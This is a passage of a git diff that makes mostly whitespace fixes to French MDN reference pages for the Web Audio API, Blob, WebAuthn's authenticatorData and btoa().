AudioContext(); @@ -137,7 +137,7 @@ Variante avec gestion de la compatibilité navigateur: | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#AudioContext-section', 'AudioNode')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#AudioContext-section', 'AudioNode')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/audiolistener/index.md b/files/fr/web/api/audiolistener/index.md index 3b0e48616a..225e9b0519 100644 --- a/files/fr/web/api/audiolistener/index.md +++ b/files/fr/web/api/audiolistener/index.md @@ -20,7 +20,7 @@ Il est important de noter qu'il n'y a qu'un seul auditeur par contexte, et qu'il _Hérite des propriétés de son parent,_ `AudioNode`. -> **Note :** Les valeurs de position, d'orientation, et du haut de la tête peuvent être définies et lues à l'aide de différentes syntaxes. Par exemple, l'accès se fait à l'aide de la propriété, `AudioListener.positionX`, tandis que la même propriété est définir à l'aide de `AudioListener.positionX.value`. C'est pourquoi ces valeurs ne sont pas marquées en lecture seule, bien qu'elles apparaissent comme tel dans la spécification IDL. +> **Note :** Les valeurs de position, d'orientation, et du haut de la tête peuvent être définies et lues à l'aide de différentes syntaxes. Par exemple, l'accès se fait à l'aide de la propriété, `AudioListener.positionX`, tandis que la même propriété est définir à l'aide de `AudioListener.positionX.value`. C'est pourquoi ces valeurs ne sont pas marquées en lecture seule, bien qu'elles apparaissent comme tel dans la spécification IDL. - {{domxref("AudioListener.positionX")}} - : Position de l'auditeur avec des coordonnées cartésiennes selon la règle de la main droite. La valeur par défaut est 0. @@ -29,11 +29,11 @@ _Hérite des propriétés de son parent,_ `AudioNode`. - {{domxref("AudioListener.positionZ")}} - : Position longitudinale (avant et arrière) de l'auditeur avec des coordonnées cartésiennes selon la règle de la main droite. La valeur par défaut est 0. - {{domxref("AudioListener.forwardX")}} - - : Position horizontale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. + - : Position horizontale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. - {{domxref("AudioListener.forwardY")}} - - : Position verticale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. + - : Position verticale de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. - {{domxref("AudioListener.forwardZ")}} - - : Position longitudinale (avant et arrière) de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. + - : Position longitudinale (avant et arrière) de l'orientation vers l'avant de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. - {{domxref("AudioListener.upX")}} - : Position horizontale du haut de la tête de l'auditeur avec le même système de coordonnées cartésiennnes que les valeurs de position (`positionX`, `positionY`, and `positionZ`). Les valeurs de direction vers l'avant et vers le haut sont indépendantes linéairement l'une de l'autre. La valeur par défaut est 0. - {{domxref("AudioListener.upY")}} @@ -48,7 +48,7 @@ _Hérite des propriétés de son parent,_ `AudioNode`. - {{domxref("AudioListener.setOrientation()")}} - : Définit l'orientation de l'auditeur. - {{domxref("AudioListener.setPosition()")}} - - : Définit la position de l'auditeur. Consulter {{anch("Deprecated features")}} pour savoir pourquoi cette méthode est désormais obsolète. + - : Définit la position de l'auditeur. Consulter {{anch("Deprecated features")}} pour savoir pourquoi cette méthode est désormais obsolète. ## Fonctionnalités obsolètes @@ -57,7 +57,7 @@ _Hérite des propriétés de son parent,_ `AudioNode`. - {{domxref("AudioListener.speedOfSound")}} {{obsolete_inline}} - : Nombre flottant à double précision représentant la vitesse du son, en _mètres par seconde_. -Dans une version précédente de la spécification, les propriétés `dopplerFactor` et `speedOfSound` et la méthode `setPosition()` lpouvaient être utilisés pour contrôler un effet doppler appliqué à un {{domxref("AudioBufferSourceNode")}} connecté en aval - ils pouvaient être transposés en fonction de la vitesse relative du {{domxref("PannerNode")}}, et de l'{{domxref("AudioListener")}}. Ces fonctionnalités soulevaient un certain nombre de problèmes : +Dans une version précédente de la spécification, les propriétés `dopplerFactor` et `speedOfSound` et la méthode `setPosition()` lpouvaient être utilisés pour contrôler un effet doppler appliqué à un {{domxref("AudioBufferSourceNode")}} connecté en aval - ils pouvaient être transposés en fonction de la vitesse relative du {{domxref("PannerNode")}}, et de l'{{domxref("AudioListener")}}. Ces fonctionnalités soulevaient un certain nombre de problèmes : - Seuls les {{domxref("AudioBufferSourceNode")}} étaient transposés, pas les autres noeuds source. - Le comportement à adopter lorsqu'un {{domxref("AudioBufferSourceNode")}} était connecté à plusieurs {{domxref("PannerNode")}} n'était pas clair. @@ -73,7 +73,7 @@ C'est la raison pour laquelle elles ont été supprimées. | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#AudioListener-section', 'AudioListener')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#AudioListener-section', 'AudioListener')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audionode/index.md b/files/fr/web/api/audionode/index.md index c5278ad884..3384e4abd1 100644 --- a/files/fr/web/api/audionode/index.md +++ b/files/fr/web/api/audionode/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/AudioNode --- {{ APIRef("Web Audio API") }} -L'interface **`AudioNode`** est une interface générique pour représenter un module de traitement audio tel qu'une source audio {{HTMLElement("audio")}}, un élément {{HTMLElement("video")}}, un {{domxref("OscillatorNode")}}, une sortie audio, ou un module de traitement intermédiaire (filtres {{domxref("BiquadFilterNode")}} ou {{domxref("ConvolverNode")}}), un contrôle de volume {{domxref("GainNode")}}. +L'interface **`AudioNode`** est une interface générique pour représenter un module de traitement audio tel qu'une source audio {{HTMLElement("audio")}}, un élément {{HTMLElement("video")}}, un {{domxref("OscillatorNode")}}, une sortie audio, ou un module de traitement intermédiaire (filtres {{domxref("BiquadFilterNode")}} ou {{domxref("ConvolverNode")}}), un contrôle de volume {{domxref("GainNode")}}. {{InheritanceDiagram}} @@ -13,7 +13,7 @@ L'interface **`AudioNode`** est une interface générique pour représenter un m Un `AudioNode` a des entrées et sorties, chacune avec un certain nombre de _canaux_. Un `AudioNode` avec zero entrée et une ou plusieurs sorties est appelée un *noeud source*. Le traitement exact varie d'un `AudioNode` à l'autre; en général un noeud lit l'entrée, réalise un traitement, et génère de nouvelles valeurs pour la sortie, ou laisse simplement l'entrée traverser (par exemple dans le cas de l'{{domxref("AnalyserNode")}}, où le résultat du traitment du traitement est accessible à part). -Plusieurs noeuds peuvent être reliés dans un _graphe de traitement_. Un tel graphe est contenu dans un {{domxref("AudioContext")}}. Chaque `AudioNode` fait partie d'exactement un contexte. Les noeuds de traitement héritent des propriétés et méthodse d'`AudioNode`, mais définissent aussi leurs propres fonctionnalités par dessus. Pour plus de détails, voir les pages individuelles liées sur la page d'accueil [Web Audio API](/en-US/docs/Web/API/Web_Audio_API). +Plusieurs noeuds peuvent être reliés dans un _graphe de traitement_. Un tel graphe est contenu dans un {{domxref("AudioContext")}}. Chaque `AudioNode` fait partie d'exactement un contexte. Les noeuds de traitement héritent des propriétés et méthodse d'`AudioNode`, mais définissent aussi leurs propres fonctionnalités par dessus. Pour plus de détails, voir les pages individuelles liées sur la page d'accueil [Web Audio API](/en-US/docs/Web/API/Web_Audio_API). > **Note :** Un `AudioNode` peut être la cible d'évènements, et implémente donc l'interface {{domxref("EventTarget")}}. @@ -78,7 +78,7 @@ oscillator.channelCount; | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateur diff --git a/files/fr/web/api/audioparam/index.md b/files/fr/web/api/audioparam/index.md index 22f7c0be03..57ee5cf3f5 100644 --- a/files/fr/web/api/audioparam/index.md +++ b/files/fr/web/api/audioparam/index.md @@ -26,16 +26,16 @@ Chaque `AudioParam` a une liste d'événements, initialement vide, qui définit _Hérite des propriétés de son parent, `AudioNode`._ - {{domxref("AudioParam.defaultValue")}} {{readonlyInline}} - - : Volume initial tel que défini par l'{{domxref ("AudioNode")}} qui crée l'`AudioParam`. -- {{domxref("AudioParam.maxValue")}} {{readonlyInline}} - - : Valeur maximum de la plage nominale (effective). + - : Volume initial tel que défini par l'{{domxref ("AudioNode")}} qui crée l'`AudioParam`. +- {{domxref("AudioParam.maxValue")}} {{readonlyInline}} + - : Valeur maximum de la plage nominale (effective). - {{domxref("AudioParam.minValue")}} {{readonlyinline}} - - : Valeur minimum de la plage nominale (effective). + - : Valeur minimum de la plage nominale (effective). <!----> - {{domxref("AudioParam.value")}} - - : Volume, exprimé sous forme de nombre flottant, initialement défini par la valeur de `AudioParam.defaultValue`. Même s'il peut être modifié, toute modification qui a lieu alors que des événements d'automatisation sont prévus - événements programmés en utilisant les méthodes de la `AudioParam` - est ignorée, sans lever aucune exception + - : Volume, exprimé sous forme de nombre flottant, initialement défini par la valeur de `AudioParam.defaultValue`. Même s'il peut être modifié, toute modification qui a lieu alors que des événements d'automatisation sont prévus - événements programmés en utilisant les méthodes de la `AudioParam` - est ignorée, sans lever aucune exception ## Méthodes @@ -86,7 +86,7 @@ biquadFilter.gain.value = 25; | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#AudioParam-section', 'AudioParam')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#AudioParam-section', 'AudioParam')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audioprocessingevent/index.md b/files/fr/web/api/audioprocessingevent/index.md index 430bfcbc74..8cde56f04e 100644 --- a/files/fr/web/api/audioprocessingevent/index.md +++ b/files/fr/web/api/audioprocessingevent/index.md @@ -32,7 +32,7 @@ _La liste ci-dessous inclut les propriétés héritées de son parent, {{domxref | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.md b/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.md index 61afaee4f6..9cfe9e45a7 100644 --- a/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.md +++ b/files/fr/web/api/authenticatorassertionresponse/authenticatordata/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/AuthenticatorAssertionResponse/authenticatorData --- {{draft}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}} -La propriété **`authenticatorData`** (rattachée à l'interface {{domxref("AuthenticatorAssertionResponse")}}) fournit un {{jsxref("ArrayBuffer")}} qui contient les informations relatives à l'authenticateur tels que : +La propriété **`authenticatorData`** (rattachée à l'interface {{domxref("AuthenticatorAssertionResponse")}}) fournit un {{jsxref("ArrayBuffer")}} qui contient les informations relatives à l'authenticateur tels que : - l'empreinte d'identifiant (rpIdHash pour _Relying Party ID Hash_) - un compteur de signature diff --git a/files/fr/web/api/baseaudiocontext/createbuffer/index.md b/files/fr/web/api/baseaudiocontext/createbuffer/index.md index e87275b3eb..3aba8b3fb6 100644 --- a/files/fr/web/api/baseaudiocontext/createbuffer/index.md +++ b/files/fr/web/api/baseaudiocontext/createbuffer/index.md @@ -94,7 +94,7 @@ source.start(); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#dom-baseaudiocontext-createbuffer', 'createBuffer()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#dom-baseaudiocontext-createbuffer', 'createBuffer()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/baseaudiocontext/creategain/index.md b/files/fr/web/api/baseaudiocontext/creategain/index.md index 0dcba996f1..30b1c9f889 100644 --- a/files/fr/web/api/baseaudiocontext/creategain/index.md +++ b/files/fr/web/api/baseaudiocontext/creategain/index.md @@ -16,7 +16,7 @@ original_slug: Web/API/AudioContext/createGain --- {{ APIRef("Web Audio API") }} -La méthode createGain de l'interface {{ domxref("AudioContext") }} crée un {{ domxref("GainNode") }} qui peut être utilisé pour contrôler le volume global du graphe audio. +La méthode createGain de l'interface {{ domxref("AudioContext") }} crée un {{ domxref("GainNode") }} qui peut être utilisé pour contrôler le volume global du graphe audio. ## Syntaxe @@ -31,9 +31,9 @@ Un {{domxref("GainNode")}} qui prend en entrée une ou plusieurs sources audio e ## Exemple -L'exemple suivant montre l'utilisation d'un {{domxref("AudioContext")}} pour créer un {{ domxref("GainNode") }}, qui sert à activer et désactiver le son au clic d'un bouton, en changeant la valeur de la propriété gain. +L'exemple suivant montre l'utilisation d'un {{domxref("AudioContext")}} pour créer un {{ domxref("GainNode") }}, qui sert à activer et désactiver le son au clic d'un bouton, en changeant la valeur de la propriété gain. -L'extrait de code ci-dessous ne fonctionne pas tel quel - pour un exemple complet qui fonctionne, consulter la démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) ([et son code source](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js).) +L'extrait de code ci-dessous ne fonctionne pas tel quel - pour un exemple complet qui fonctionne, consulter la démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) ([et son code source](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js).) ```html <div> @@ -91,7 +91,7 @@ function couperSon () { | Spécification | Status | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioContext-createGain-GainNode', 'createGain()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioContext-createGain-GainNode', 'createGain()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateur diff --git a/files/fr/web/api/baseaudiocontext/createperiodicwave/index.md b/files/fr/web/api/baseaudiocontext/createperiodicwave/index.md index 8df75e0fb7..6b8d1fd985 100644 --- a/files/fr/web/api/baseaudiocontext/createperiodicwave/index.md +++ b/files/fr/web/api/baseaudiocontext/createperiodicwave/index.md @@ -69,7 +69,7 @@ Ici, nous créons une `PeriodicWave` avec deux valeurs. La première est le déc La seconde valeur et les suivantes sont les composantes de sinus et de cosinus. Vous pouvez les voir comme le résultat d'une transformation de Fourier, où l'on obtient les valeurs du domaine de fréquence à partir de la valeur du domaine de temps. Ici, avec `createPeriodicWave()`, vous spécifiez les fréquences, et le navigateur calcule une transformation inverse de Fourier pour obtenir un tampon de domaine de temps pour la fréquence de l'oscillateur. Ici, nous définissons seulement un composant au volume maximal (1.0) sur l'harmonique fondamentale, ainsi on obtient une courbe sinusoïdale. -Les coefficients de la transformation de Fourier doivent être données dans un ordre _croissant_ (c'est-à-dire <math><semantics><mrow><mrow><mo>(</mo><mrow><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mi>i</mi></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>c</mi><mo>+</mo><mi>d</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>i</mi></mrow></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>f</mi><mo>+</mo><mi>g</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>3</mn><mi>i</mi></mrow></msup></mrow><annotation encoding="TeX">\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i} </annotation></semantics></math> etc) et peuvent être positifs ou négatifs. Une méthode simple pour obtenir manuellement de tels coefficients (bien qu'elle ne soit la meilleure) est d'utiliser une calculateur graphique. +Les coefficients de la transformation de Fourier doivent être données dans un ordre _croissant_ (c'est-à-dire <math><semantics><mrow><mrow><mo>(</mo><mrow><mi>a</mi><mo>+</mo><mi>b</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mi>i</mi></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>c</mi><mo>+</mo><mi>d</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>i</mi></mrow></msup><mo>,</mo><mrow><mo>(</mo><mrow><mi>f</mi><mo>+</mo><mi>g</mi><mi>i</mi></mrow><mo>)</mo></mrow><msup><mi>e</mi><mrow><mn>3</mn><mi>i</mi></mrow></msup></mrow><annotation encoding="TeX">\left(a+bi\right)e^{i} , \left(c+di\right)e^{2i} , \left(f+gi\right)e^{3i}</annotation></semantics></math> etc) et peuvent être positifs ou négatifs. Une méthode simple pour obtenir manuellement de tels coefficients (bien qu'elle ne soit la meilleure) est d'utiliser une calculateur graphique. ## Spécifications diff --git a/files/fr/web/api/baseaudiocontext/index.md b/files/fr/web/api/baseaudiocontext/index.md index 46c7e5d6af..14cf321b67 100644 --- a/files/fr/web/api/baseaudiocontext/index.md +++ b/files/fr/web/api/baseaudiocontext/index.md @@ -30,7 +30,7 @@ Un `BaseAudioContext` peut être une cible d'événements, il implémente donc l - {{domxref("BaseAudioContext.listener")}} {{readonlyInline}} - : Renvoie l'objet {{domxref("AudioListener")}}, utilisé pour la spatialisation 3D. - {{domxref("BaseAudioContext.sampleRate")}} {{readonlyInline}} - - : Renvoie un float représentant la fréquence d'échantillonnage (en échantillons par seconde) utilisée par tous les nœuds dans ce contexte. La fréquence d'échantillonnage d'un {{domxref("AudioContext")}} ne peut pas être modifiée. + - : Renvoie un float représentant la fréquence d'échantillonnage (en échantillons par seconde) utilisée par tous les nœuds dans ce contexte. La fréquence d'échantillonnage d'un {{domxref("AudioContext")}} ne peut pas être modifiée. - {{domxref("BaseAudioContext.state")}} {{readonlyInline}} - : Renvoie l'état actuel de l'`AudioContext`. @@ -80,7 +80,7 @@ _Implémente également les méthodes de l'interface_ {{domxref("EventTarget")}} - {{domxref("BaseAudioContext.createWaveShaper()")}} - : Crée un {{domxref("WaveShaperNode")}}, qui est utilisé pour implémenter des effets de distorsion non linéaires. - {{domxref("BaseAudioContext.decodeAudioData()")}} - - : Décode de manière asynchrone les données de fichiers audio contenues dans un {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est généralement chargé à partir de l'attribut `response` d'un {{domxref("XMLHttpRequest")}} après avoir défini le `responseType` sur `arraybuffer`. Cette méthode ne foncionne que sur des fichiers complets et non sur des fragments de fichiers audio. + - : Décode de manière asynchrone les données de fichiers audio contenues dans un {{domxref("ArrayBuffer")}}. Dans ce cas, le ArrayBuffer est généralement chargé à partir de l'attribut `response` d'un {{domxref("XMLHttpRequest")}} après avoir défini le `responseType` sur `arraybuffer`. Cette méthode ne foncionne que sur des fichiers complets et non sur des fragments de fichiers audio. - {{domxref("BaseAudioContext.resume()")}} - : Reprend la progression du temps dans un contexte audio précédemment suspendu / mis en pause. diff --git a/files/fr/web/api/biquadfilternode/frequency/index.md b/files/fr/web/api/biquadfilternode/frequency/index.md index 550a287720..d4db93538f 100644 --- a/files/fr/web/api/biquadfilternode/frequency/index.md +++ b/files/fr/web/api/biquadfilternode/frequency/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/BiquadFilterNode/frequency --- {{ APIRef("Web Audio API") }} -La propriété `frequency` de l'interface {{ domxref("BiquadFilterNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) : un nombre flottant à double précision représentant une fréquence de l'algorithme de filtrage courant, exprimée en hertz (Hz). +La propriété `frequency` de l'interface {{ domxref("BiquadFilterNode") }} est un {{domxref("AudioParam")}} de type [k-rate](/fr/docs/DOM/AudioParam#k-rate) : un nombre flottant à double précision représentant une fréquence de l'algorithme de filtrage courant, exprimée en hertz (Hz). Sa valeur par défaut est de `350` avec une portée nominale de `10` à la [fréquence de Nyquist](http://en.wikipedia.org/wiki/Nyquist_frequency), qui est la moitié de la fréquence d'échantillonnage. @@ -58,7 +58,7 @@ filtreBiquad.gain.value = 25; | Specification | Status | Comment | | -------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------- | -| {{SpecName('Web Audio API', '#widl-BiquadFilterNode-frequency', 'frequency')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-BiquadFilterNode-frequency', 'frequency')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/biquadfilternode/index.md b/files/fr/web/api/biquadfilternode/index.md index f0e40607c6..e641539367 100644 --- a/files/fr/web/api/biquadfilternode/index.md +++ b/files/fr/web/api/biquadfilternode/index.md @@ -40,7 +40,7 @@ L'interface **`BiquadFilterNode`** représente un simple filtre de bas niveau, c ## Constructeur - {{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}} - - : Crée une nouvelle instance d'un objet `BiquadFilterNode`. + - : Crée une nouvelle instance d'un objet `BiquadFilterNode`. ## Propriétés @@ -73,13 +73,13 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. <tr> <th scope="row"><code>lowpass</code></th> <td> - Filtre standard passe-bas résonnant de second ordre avec atténuation de + Filtre standard passe-bas résonnant de second ordre avec atténuation de 12dB/octave. Les fréquences inférieures au seuil sont inchangées; les fréquences supérieures sont atténuées. </td> <td>La fréquence de coupure</td> <td> - Indique comment la fréquence a culminé autour de la coupure. Plus la + Indique comment la fréquence a culminé autour de la coupure. Plus la valeur est élevée, plus le point culminant est haut </td> <td>Non utilisé</td> @@ -87,13 +87,13 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. <tr> <th scope="row"><code>highpass</code></th> <td> - Filtre standard passe-haut résonnant de second ordre avec atténuation de + Filtre standard passe-haut résonnant de second ordre avec atténuation de 12dB/octave. Les fréquences inférieures à la fréquence de coupure sont atténuées, les fréquences supérieures sont inchangées. </td> <td>La fréquence de coupure</td> <td> - Indique comment la fréquence a culminé autour de la coupure. Plus la + Indique comment la fréquence a culminé autour de la coupure. Plus la valeur est élevée, plus le point culminant est haut </td> <td>Non utilisé</td> @@ -101,13 +101,13 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. <tr> <th scope="row"><code>bandpass</code></th> <td> - Filtre standard passe-bande de second ordre. Les fréquences en dehors de + Filtre standard passe-bande de second ordre. Les fréquences en dehors de la plage donnée de fréquences sont atténués, et les fréquences à l'intérieur sont inchangées. </td> <td>Le centre de la gamme de fréquences.</td> <td> - Contrôle la largeur de la bande de fréquences. Plus Q est grande, plus + Contrôle la largeur de la bande de fréquences. Plus Q est grande, plus la bande de fréquences est grande. </td> <td>Non utilisé</td> @@ -193,7 +193,7 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. </td> <td> Contrôle finement la transition à la fréquence moyenne. Plus ce - paramètre est grand, plus la transition est fine et large. + paramètre est grand, plus la transition est fine et large. </td> <td>Non utilisé</td> </tr> @@ -205,7 +205,7 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. - {{domxref("BiquadFilterNode.getFrequencyResponse()")}} - - : A partir des valeurs courantes des paramètres de filtre, calcule la fréquence de réponse pour des fréquences spécifiées dans le tableau de fréquences _frequencyHz_ passé en paramètre. + - : A partir des valeurs courantes des paramètres de filtre, calcule la fréquence de réponse pour des fréquences spécifiées dans le tableau de fréquences _frequencyHz_ passé en paramètre. ## Exemples diff --git a/files/fr/web/api/blob/type/index.md b/files/fr/web/api/blob/type/index.md index 166428cb4a..ab9702f672 100644 --- a/files/fr/web/api/blob/type/index.md +++ b/files/fr/web/api/blob/type/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Blob/type --- {{APIRef("File API")}} -La propriété **`type`** de l'objet [`Blob`](fr/docs/Web/API/Blob) fourni le type MIME (Internet media type) d'un fichier. Celle-ci retourne une chaîne de caractère vide si le type n'a pas pu être déterminé. +La propriété **`type`** de l'objet [`Blob`](fr/docs/Web/API/Blob) fourni le type MIME (Internet media type) d'un fichier. Celle-ci retourne une chaîne de caractère vide si le type n'a pas pu être déterminé. ## Syntaxe diff --git a/files/fr/web/api/blobevent/blobevent/index.md b/files/fr/web/api/blobevent/blobevent/index.md index c976b80341..c2d7b24434 100644 --- a/files/fr/web/api/blobevent/blobevent/index.md +++ b/files/fr/web/api/blobevent/blobevent/index.md @@ -23,7 +23,7 @@ _Le constructeur `BlobEvent()`_ _hérite des arguments de {{domxref("Event.Event - `data` - : est un {{domxref("Blob")}} associé à l'évènement. -- `timecode` {{optional_inline}} +- `timecode` {{optional_inline}} - : un {{domxref("DOMHighResTimeStamp")}} à utiliser pour initialiser l'événement blob. ## Spécifications diff --git a/files/fr/web/api/btoa/index.md b/files/fr/web/api/btoa/index.md index 4a808ec8e8..303f6a426f 100644 --- a/files/fr/web/api/btoa/index.md +++ b/files/fr/web/api/btoa/index.md @@ -27,11 +27,11 @@ La méthode `WindowOrWorkerGlobalScope.btoa()` crée une chaîne ASCII codée en ### Paramètres - `chaineAEncoder` - - : Une chaîne dont les caractères représentent chacun un octet unique de données binaires à encoder en ASCII. + - : Une chaîne dont les caractères représentent chacun un octet unique de données binaires à encoder en ASCII. ### Valeur retournée -Une chaîne contenant la représentation Base64 de la `chaineAEncoder`. +Une chaîne contenant la représentation Base64 de la `chaineAEncoder`. ### Exceptions @@ -42,15 +42,15 @@ Une chaîne contenant la représentation Base64 de la `chaineAEncoder`. ## Notes -Vous pouvez utiliser cette méthode pour encoder des données qui, autrement, pourraient engendrer des problèmes de communication, les transmettre et utiliser alors la méthode {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} pour décoder les données à nouveau. Par exemple, vous pouvez encoder des caractères de contrôle tels que les valeurs ASCII de 0 à 31. +Vous pouvez utiliser cette méthode pour encoder des données qui, autrement, pourraient engendrer des problèmes de communication, les transmettre et utiliser alors la méthode {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} pour décoder les données à nouveau. Par exemple, vous pouvez encoder des caractères de contrôle tels que les valeurs ASCII de 0 à 31. `btoa()` est également disponible pour les composants XPCOM implémentés en JavaScript, même si {domxref("Window")}} n'est pas l'objet global dans les composants. ## Chaînes Unicode -Dans la plupart des navigateurs, l'appel de `btoa()` sur une chaîne Unicode engendrera une exception `InvalidCharacterError`. +Dans la plupart des navigateurs, l'appel de `btoa()` sur une chaîne Unicode engendrera une exception `InvalidCharacterError`. -Une option est d'échapper tous les caractères étendus, de telle sorte que la chaîne que vous voulez en fait encoder soit une représentation ASCII de l'original. Voyez cet exemple, noté par [Johan Sundström](http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html) : +Une option est d'échapper tous les caractères étendus, de telle sorte que la chaîne que vous voulez en fait encoder soit une représentation ASCII de l'original. Voyez cet exemple, noté par [Johan Sundström](http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html) : // Chaîne ucs-2 en ascii encodé en base64 function uena(chn) { @@ -67,16 +67,16 @@ Une option est d'échapper tous les caractères étendus, de telle sorte que la uena('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE= aenu('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!" -Une solution meilleure, plus fiable et moins coûteuse consiste à [utiliser des tableaux typés pour faire la conversion](/fr/docs/D%C3%A9coder_encoder_en_base64). +Une solution meilleure, plus fiable et moins coûteuse consiste à [utiliser des tableaux typés pour faire la conversion](/fr/docs/D%C3%A9coder_encoder_en_base64). ## Spécifications | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}} | {{Spec2('HTML WHATWG')}} | Méthode déplacée dans le mixin `WindowOrWorkerGlobalScope` dans la spéc la plus récente. | +| {{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}} | {{Spec2('HTML WHATWG')}} | Méthode déplacée dans le mixin `WindowOrWorkerGlobalScope` dans la spéc la plus récente. | | {{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}} | {{Spec2('HTML WHATWG')}} | Pas de changement depuis le dernier instantané, {{SpecName("HTML5.1")}}. | | {{SpecName('HTML5.1', 